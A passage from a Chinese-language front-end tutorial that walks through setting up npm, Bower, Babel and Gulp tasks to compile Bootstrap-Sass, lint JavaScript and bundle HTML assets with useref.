                  <p>Babel 其实是一个 JavaScript 编译器，支持 ES6，你可以用新型的 ES6 语法来编写你的 JavaScript，Babel 会为你生成对应的 ES5 的 JavaScript。乍看之下并没有什么关系，所以在这里你可以把 babel 看作 ES6 的代名词，在 Gulp 中，新型的 ES6 语法的 JavaScript 的 gulpfile 名字命名为 gulpfile.babel.js。 <a href="http://babeljs.cn/" target="_blank" rel="noopener">Babel</a></p>
                  <h2 id="NPM"><a href="#NPM" class="headerlink" title="NPM"></a>NPM</h2>
                  <p>有一点 Node.js 基础的想必都知道这一个东西吧，Node Package Manager，Node.js 包管理器，利用它你可以安装 Node.js 的相关包，其中包括 Gulp。可以全局安装，加个 -g 参数，可以局部安装，需要路径下有个 package.json。 NPM怎样安装？安装了 Node.js 就好了。 <a href="https://nodejs.org" target="_blank" rel="noopener">Node.js</a> 如果觉得速度慢，可以安装 CNPM，镜像源来源非国外，是淘宝的一个镜像源，速度快。 <a href="https://npm.taobao.org/" target="_blank" rel="noopener">CMPM</a></p>
                  <h2 id="Bower"><a href="#Bower" class="headerlink" title="Bower"></a>Bower</h2>
                  <p>在这里还需要用到一个工具 bower，类似 NPM，算是前端的一些组件管理工具，一些前端库比如 jquery，bootstrap 等等都可以用 bower 这个工具来下载，需要在根目录下建立一个 bower.json 和 .bowerrc 文件。利用 bower 我们就可以方便地管理前端的工具包了，不用我们去手动下载复制粘贴之类的。</p>
                  <h2 id="WebStorm"><a href="#WebStorm" class="headerlink" title="WebStorm"></a>WebStorm</h2>
                  <p>在这再安利一个 IDE 吧，WebStorm，JetBrains公司出的一款强大又良心的编写前端的 IDE，支持各种插件，具有强大的语法提示，支持 JsHint 等代码检查，集成了终端，Git 等等强大的工具，Web 开发不二选择，推荐最新版本。 <a href="https://www.jetbrains.com/webstorm/" target="_blank" rel="noopener">WebStorm</a></p>
                  <h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2>
                  <p>扯完以上东西（其实还有好多没有扯完），让我们进入正题吧，正题是什么？哦没错，那就是</p>
                  <blockquote>
                    <p>基于 ES6 语法使用 Gulp 编写 gulpfile.babel.js 来编译 BootStrap-Sass 源码。</p>
                  </blockquote>
                  <p>下面是一些准备工作，没有做好的小伙伴请按照步骤一一完成。</p>
                  <h3 id="安装-Node-js-和-NPM"><a href="#安装-Node-js-和-NPM" class="headerlink" title="安装 Node.js 和 NPM"></a>安装 Node.js 和 NPM</h3>
                  <p>从 Node 的官网下载 Node 并安装，安装流程不详细说明，安装完成之后 NPM 随之就会安装成功。 命令行下输入 npm 检查一下是否可以正常运行。</p>
                  <h3 id="安装-Gulp"><a href="#安装-Gulp" class="headerlink" title="安装 Gulp"></a>安装 Gulp</h3>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">npm <span class="keyword">install</span> -g gulp</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>加入 -g 参数是全局安装，安装完成之后你可以在任意位置使用命令。</p>
                  <h3 id="安装-Bower"><a href="#安装-Bower" class="headerlink" title="安装 Bower"></a>安装 Bower</h3>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">npm <span class="keyword">install</span> -g bower</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>依然是全局安装 bower。</p>
                  <h3 id="下载-BootStrap-Sass"><a href="#下载-BootStrap-Sass" class="headerlink" title="下载 BootStrap-Sass"></a>下载 BootStrap-Sass</h3>
                  <p>可直接进入 <a href="http://v3.bootcss.com/getting-started/#download" target="_blank" rel="noopener">BootStrap</a> 页面点击第三个下载 Sass 源码。 也可以用 Git 将 <a href="https://github.com/twbs/bootstrap-sass" target="_blank" rel="noopener">BootStrap-Sass</a> 的项目 clone 下来。</p>
                  <h3 id="安装-WebStorm"><a href="#安装-WebStorm" class="headerlink" title="安装 WebStorm"></a>安装 WebStorm</h3>
                  <p>推荐使用 WebStorm，可以开启 JsHint 等检测工具，具有强大的代码提示功能，不过不使用也没关系。 在你的 IDE 打开下载的项目，</p>
                  <h3 id="新建-gulpfile-babel-js"><a href="#新建-gulpfile-babel-js" class="headerlink" title="新建 gulpfile.babel.js"></a>新建 gulpfile.babel.js</h3>
                  <p>gulpfile.babel.js 是基于 ES6 的 Gulp 处理文件，新建它，稍后所有的工作都在这里完成。</p>
                  <h3 id="新建-babelrc"><a href="#新建-babelrc" class="headerlink" title="新建 .babelrc"></a>新建 .babelrc</h3>
                  <p>新建 .babelrc 文件，内容</p>
                  <figure class="highlight json">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">"presets"</span>: [</span><br><span class="line">    <span class="string">"es2015"</span></span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这是指定 gulp 使用最新标准的 JavaScript 进行编译。</p>
                  <h3 id="新建-bowerrc"><a href="#新建-bowerrc" class="headerlink" title="新建 .bowerrc"></a>新建 .bowerrc</h3>
                  <p>新建 .bowerrc 文件，这是 bower 的配置文件，可以指定路径等相关配置，内容为</p>
                  <figure class="highlight json">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">"directory"</span>: <span class="string">"bower_components"</span></span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这是指定 bower 工具下载前端组件时会默认下载到这个文件夹中。</p>
                  <h3 id="修改-bower-json"><a href="#修改-bower-json" class="headerlink" title="修改 bower.json"></a>修改 bower.json</h3>
                  <p>可以精简 bower.json 文件，比如修改名称，删去 main，ignore 配置等。 比如精简成</p>
                  <figure class="highlight json">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">"name"</span>: <span class="string">"bootstrap-sass-demo"</span>,</span><br><span class="line">  <span class="attr">"authors"</span>: [</span><br><span class="line">    <span class="string">"Germey"</span></span><br><span class="line">  ],</span><br><span class="line">  <span class="attr">"description"</span>: <span class="string">"bootstrap-sass is a Sass-powered version of Bootstrap, ready to drop right into your Sass powered applications."</span>,</span><br><span class="line">  <span class="attr">"moduleType"</span>: <span class="string">"globals"</span>,</span><br><span class="line">  <span class="attr">"keywords"</span>: [</span><br><span class="line">    <span class="string">"twbs"</span>,</span><br><span class="line">    <span class="string">"bootstrap"</span>,</span><br><span class="line">    <span class="string">"sass"</span></span><br><span class="line">  ],</span><br><span class="line">  <span class="attr">"license"</span>: <span class="string">"MIT"</span>,</span><br><span class="line">  <span class="attr">"dependencies"</span>: &#123;</span><br><span class="line">    <span class="attr">"jquery"</span>: <span class="string">"&gt;= 1.9.0"</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>修改 package.json 在进行 Gulp 配置文件编写之前，首先需要引入一些 Node.js 开发包，比如 babel，gulp，wiredep等等。 修改 devDependencies 为</p>
                  <figure class="highlight 1c">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">"devDependencies"</span>: &#123;</span><br><span class="line">    <span class="string">"babel-core"</span>: <span class="string">"^6.4.0"</span>,</span><br><span class="line">    <span class="string">"babel-preset-es2015"</span>: <span class="string">"^6.3.13"</span>,</span><br><span class="line">    <span class="string">"babel-register"</span>: <span class="string">"^6.9.0"</span>,</span><br><span class="line">    <span class="string">"browser-sync"</span>: <span class="string">"^2.2.1"</span>,</span><br><span class="line">    <span class="string">"del"</span>: <span class="string">"^1.1.1"</span>,</span><br><span class="line">    <span class="string">"gulp"</span>: <span class="string">"^3.9.1"</span>,</span><br><span class="line">    <span class="string">"gulp-autoprefixer"</span>: <span class="string">"^3.0.1"</span>,</span><br><span class="line">    <span class="string">"gulp-babel"</span>: <span class="string">"^6.1.1"</span>,</span><br><span class="line">    <span class="string">"gulp-cache"</span>: <span class="string">"^0.2.8"</span>,</span><br><span class="line">    <span class="string">"gulp-cssnano"</span>: <span class="string">"^2.0.0"</span>,</span><br><span class="line">    <span class="string">"gulp-eslint"</span>: <span class="string">"^0.13.2"</span>,</span><br><span class="line">    <span class="string">"gulp-htmlmin"</span>: <span class="string">"^1.3.0"</span>,</span><br><span class="line">    <span class="string">"gulp-if"</span>: <span class="string">"^1.2.5"</span>,</span><br><span class="line">    <span class="string">"gulp-imagemin"</span>: <span class="string">"^2.2.1"</span>,</span><br><span class="line">    <span class="string">"gulp-load-plugins"</span>: <span class="string">"^0.10.0"</span>,</span><br><span class="line">    <span class="string">"gulp-plumber"</span>: <span class="string">"^1.0.1"</span>,</span><br><span class="line">    <span class="string">"gulp-sass"</span>: <span class="string">"^2.0.0"</span>,</span><br><span class="line">    <span class="string">"gulp-size"</span>: <span class="string">"^1.2.1"</span>,</span><br><span class="line">    <span class="string">"gulp-sourcemaps"</span>: <span class="string">"^1.5.0"</span>,</span><br><span class="line">    <span class="string">"gulp-uglify"</span>: <span class="string">"^1.1.0"</span>,</span><br><span class="line">    <span class="string">"gulp-useref"</span>: <span class="string">"^3.0.0"</span>,</span><br><span class="line">    <span class="string">"main-bower-files"</span>: <span class="string">"^2.5.0"</span>,</span><br><span class="line">    <span class="string">"wiredep"</span>: <span class="string">"^2.2.2"</span></span><br><span class="line">  &#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行</p>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">npm <span class="keyword">install</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>安装所需要的库。 如此一来，所有的准备工作就差不多了。</p>
                  <h2 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h2>
                  <h3 id="引入类库"><a href="#引入类库" class="headerlink" title="引入类库"></a>引入类库</h3>
                  <p>首先引入一些必须的类库</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> gulp <span class="keyword">from</span> <span class="string">'gulp'</span>;</span><br><span class="line"><span class="keyword">import</span> gulpLoadPlugins <span class="keyword">from</span> <span class="string">'gulp-load-plugins'</span>;</span><br><span class="line"><span class="keyword">import</span> browserSync <span class="keyword">from</span> <span class="string">'browser-sync'</span></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">del</span> <span class="keyword">from</span> <span class="string">'del'</span>;</span><br><span class="line"><span class="keyword">import</span> &#123;stream <span class="keyword">as</span> wiredep&#125; <span class="keyword">from</span> <span class="string">'wiredep'</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>gulp 自不必多说，是 gulp 必须的核心类库。 gulp-load-plugins 是加载 gulp 插件的类库，我们知道 gulp 插件非常丰富，如果要一个个引入的话，需要写很多很多条 import 语句，引入了这个插件之后，调用时只需要加 点(.) + 插件名称 那就可以使用了。 browser-sync 是浏览器同步工具，如果有代码更新，浏览器会自动刷新更新资源。 del 是删除资源的工具包。 wiredep 是从 bower 同步到 html 中资源引用的插件，bower 中定义了依赖包，有了它，这些包的引用比如 js，css 就可以直接自动生成到 html 文件中。 接着初始化一些变量。</p>
                  <figure class="highlight actionscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">const</span> $ = gulpLoadPlugins();</span><br><span class="line"><span class="keyword">const</span> reload = browserSync.reload;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>将加载插件的插件初始化为 $ 符号，然后初始化 reload 等变量。</p>
                  <h3 id="Sass-编译"><a href="#Sass-编译" class="headerlink" title="Sass 编译"></a>Sass 编译</h3>
                  <p>下载好 Sass 源码之后，打开 assets/stylesheets 目录，可以看到 BootStrap 的 Sass 源代码。不过发现文件名都是 _ 开头的，这种类型的文件是不能被编译生成的，所以新建一个 bootstrap.sass 文件，内容为</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@import</span> <span class="string">"_bootstrap"</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>最后生成的目录结构如下</p>
                  <figure class="highlight 1c">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">|_____bootstrap-compass.scss</span></span><br><span class="line"><span class="string">|_____bootstrap-mincer.scss</span></span><br><span class="line"><span class="string">|_____bootstrap-sprockets.scss</span></span><br><span class="line"><span class="string">|_____bootstrap.scss</span></span><br><span class="line"><span class="string">|____bootstrap</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>接下来我们只需要编译 bootstrap.scss 即可。 定义一个路径配置</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">const styles</span> = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'assets/stylesheets/**/*.scss'</span>,</span><br><span class="line">    <span class="string">'tmp'</span>: <span class="string">'.tmp/css'</span>,</span><br><span class="line">&#125;;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>包含 in 和 tmp 目录，in 代表 Sass 源文件地址，tmp 代表生成的编译后的 CSS 目录。 接下来最重要的，指定一个 Gulp Task</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">gulp</span><span class="selector-class">.task</span>(<span class="string">'styles'</span>, () =&gt; &#123;</span><br><span class="line">    <span class="selector-tag">return</span> <span class="selector-tag">gulp</span><span class="selector-class">.src</span>(styles.in)</span><br><span class="line">        <span class="selector-class">.pipe</span>($.plumber())</span><br><span class="line">        <span class="selector-class">.pipe</span>($.sourcemaps.init())</span><br><span class="line">        <span class="selector-class">.pipe</span>($.sass.sync(&#123;</span><br><span class="line">            <span class="attribute">outputStyle</span>: <span class="string">'expanded'</span>,</span><br><span class="line">            <span class="attribute">precision</span>: <span class="number">10</span>,</span><br><span class="line">            <span class="attribute">includePaths</span>: [<span class="string">'.'</span>]</span><br><span class="line">        &#125;).on(<span class="string">'error'</span>, $.sass.logError))</span><br><span class="line">        <span class="selector-class">.pipe</span>($.autoprefixer(&#123;<span class="attribute">browsers</span>: [<span class="string">'&gt; 1%'</span>, <span class="string">'last 2 versions'</span>, <span class="string">'Firefox ESR'</span>]&#125;))</span><br><span class="line">        <span class="selector-class">.pipe</span>($.sourcemaps.write())</span><br><span class="line">        <span class="selector-class">.pipe</span>(gulp.dest(styles.tmp))</span><br><span class="line">        <span class="selector-class">.pipe</span>(reload(&#123;<span class="attribute">stream</span>: true&#125;));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>task 是 gulp 的一个核心方法，定义了 styles 这个 task 之后，就可以执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp styles</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就可以完成以上定义的任务。 首先利用 gulp.src 引入了需要编译的 Sass 文件，然后利用一系列 pipe 流式管道来指定一系列处理任务。 plumber 是一个错误处理插件，当出现错误时，不会立即卡主，而是进入 plumber，防止程序运行终止。 sourcemaps 是用来生成映射文件的一个插件，map 文件记录了从 Sass 编译成 CSS 的过程中，每一行的 Sass 代码对应哪一行的 CSS 代码。 sass 是核心的编译 Sass 的插件，指定了输出格式 expanded，precision 指定了当输出十进制数字时，使用多少位的精度，然后指定了路径和错误日志。 autoprefixer 是一个以友好方式处理浏览器前缀的插件，比如一些 CSS 的定义会出现 -webkit- 等等，此插件是用来处理浏览器前缀的。</p>
                  <blockquote>
                    <p>Autoprefixer默认将支持主流浏览器最近2个版本，这点类似Google。不过你可以在自己的项目中通过名称或者模式进行选择： 主流浏览器最近2个版本用“last 2 versions”； 全球统计有超过1%的使用率使用“&gt;1%”; 仅新版本用“ff&gt;20”或”ff&gt;=20”. 然后Autoprefixer计算哪些前缀是需要的，哪些是已经过期的。</p>
                  </blockquote>
                  <p>dest 是输出编译后的文件，指定输出路径。 reload 是同步浏览器资源的方法。 定义好如上内容之后，命令行输入</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp styles</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就会发现出现了 .tmp 目录，里面有 css/bootstrap.css</p>
                  <h3 id="JavaScript-处理"><a href="#JavaScript-处理" class="headerlink" title="JavaScript 处理"></a>JavaScript 处理</h3>
                  <p>同理，定义一个 task，用来处理 JavaScript</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">gulp</span><span class="selector-class">.task</span>(<span class="string">'scripts'</span>, () =&gt; &#123;</span><br><span class="line">    <span class="selector-tag">return</span> <span class="selector-tag">gulp</span><span class="selector-class">.src</span>(scripts.in)</span><br><span class="line">        <span class="selector-class">.pipe</span>($.plumber())</span><br><span class="line">        <span class="selector-class">.pipe</span>($.sourcemaps.init())</span><br><span class="line">        <span class="selector-class">.pipe</span>($.babel())</span><br><span class="line">        <span class="selector-class">.pipe</span>($.sourcemaps.write(<span class="string">'.'</span>))</span><br><span class="line">        <span class="selector-class">.pipe</span>(gulp.dest(scripts.tmp))</span><br><span class="line">        <span class="selector-class">.pipe</span>(reload(&#123;<span class="attribute">stream</span>: true&#125;));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>相比之下，此处多了一个 babel 插件。 babel 是基于 ES6 标准的一个 JavaScript 插件，它可以对 ES6 版本的代码进行转换，转换成 ES5 标准，避免出现出现 ES6 不兼容问题。 在此处还需要 scripts 的路径定义</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">const scripts</span> = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'assets/javascripts/**/*.js'</span>,</span><br><span class="line">    <span class="string">'tmp'</span>: <span class="string">'.tmp/js'</span>,</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist/js'</span></span><br><span class="line">&#125;;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>定义完成之后，执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp scripts</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就可以完成 JavaScript 的转换。 另外还有一个专门负责代码风格转换的 task，使用了 eslint 这个插件</p>
                  <figure class="highlight roboconf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">const lint = &#123;</span><br><span class="line">    '<span class="attribute">in'</span>: 'assets/javascripts/**/*<span class="variable">.js</span>'</span><br><span class="line">&#125;;</span><br><span class="line"><span class="attribute">gulp.task('lint', () =&gt; &#123;</span></span><br><span class="line"><span class="attribute">    return gulp.src(lint.in)</span></span><br><span class="line"><span class="attribute">        .pipe(reload(&#123;stream</span>: true, once: true&#125;))</span><br><span class="line">        <span class="variable">.pipe</span>($<span class="variable">.eslint</span><span class="variable">.format</span>())</span><br><span class="line">        <span class="variable">.pipe</span>($<span class="variable">.if</span>(!browserSync<span class="variable">.active</span>, $<span class="variable">.eslint</span><span class="variable">.failAfterError</span>()));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp lint</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>之后，就可以进行代码风格的标准化。</p>
                  <h3 id="HTML处理"><a href="#HTML处理" class="headerlink" title="HTML处理"></a>HTML处理</h3>
                  <p>我们可以发现，在前面的输出路径都是 .tmp 临时目录，后面还会有一个目录是 dist 目录，试想一下，如果我们编译了 BootStrap 而在 HTML 中没有引用，那编译来还有必要吗？ 所以说，.tmp 作为临时目录，它可以存放被编译后的文件，但是不一定会被引用。被真正引用的文件才是真正有用的文件，我们将它放到 dist 目录。 所以接下来的 HTML 处理就是检查一下有哪些 CSS 和 JS 被引用了，可以将它们合并，然后将新的文件放到 dist 并更新它的引用路径。</p>
                  <figure class="highlight typescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">const</span> html = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'assets/*.html'</span>,</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'html'</span>, [<span class="string">'styles'</span>, <span class="string">'scripts'</span>], <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(html.in)</span><br><span class="line">        .pipe($.useref(&#123;searchPath: [<span class="string">'.tmp'</span>, <span class="string">'assets'</span>, <span class="string">'.'</span>]&#125;))</span><br><span class="line">        .pipe($.<span class="keyword">if</span>(<span class="string">'*.js'</span>, $.uglify()))</span><br><span class="line">        .pipe($.<span class="keyword">if</span>(<span class="string">'*.css'</span>, $.cssnano()))</span><br><span class="line">        .pipe($.<span class="keyword">if</span>(<span class="string">'*.html'</span>, $.htmlmin(&#123;collapseWhitespace: <span class="literal">true</span>&#125;)))</span><br><span class="line">        .pipe(gulp.dest(html.out));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在这里定义了一个 task 叫做 html，第二个参数是 styles 和 scripts 组成的数组，意思是在执行这个 task 之前，首先要执行这两个任务。 在处理时用到了 useref 这个插件，它可以检测 HTML 中引用的 CSS 和 JS，可以执行合并和压缩，然后更新新的路径。 这个插件的作用如上所述。 比如 HTML 当前内容是这样的</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Welcome<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- bower:css --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- endbower --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- build:css css/combined.css --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">href</span>=<span class="string">"../.tmp/css/bootstrap.css"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- endbuild --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h4</span>&gt;</span>Hello This is a Gulp Sass Demo Configured by Germey.<span class="tag">&lt;/<span class="name">h4</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- bower:js --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- endbower --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- build:js js/combined.js --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"javascripts/bootstrap.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"javascripts/bootstrap-sprockets.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- endbuild --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>可以看到</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">&lt;!-- build:css css/combined.css --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">href</span>=<span class="string">"../.tmp/css/bootstrap.css"</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- endbuild --&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这里引用了 .tmp 目录下的 bootstrap.css，然后在外面用注释的形式定义了构建的路径和文件名。 那么执行这个任务之后，它便会将当前引用的 .tmp 目录下的 bootstrap.css 处理并输出为 combined.css，然后新生成的 HTML 文件的引用路径也相应改为 combined.css JS 也是同理</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
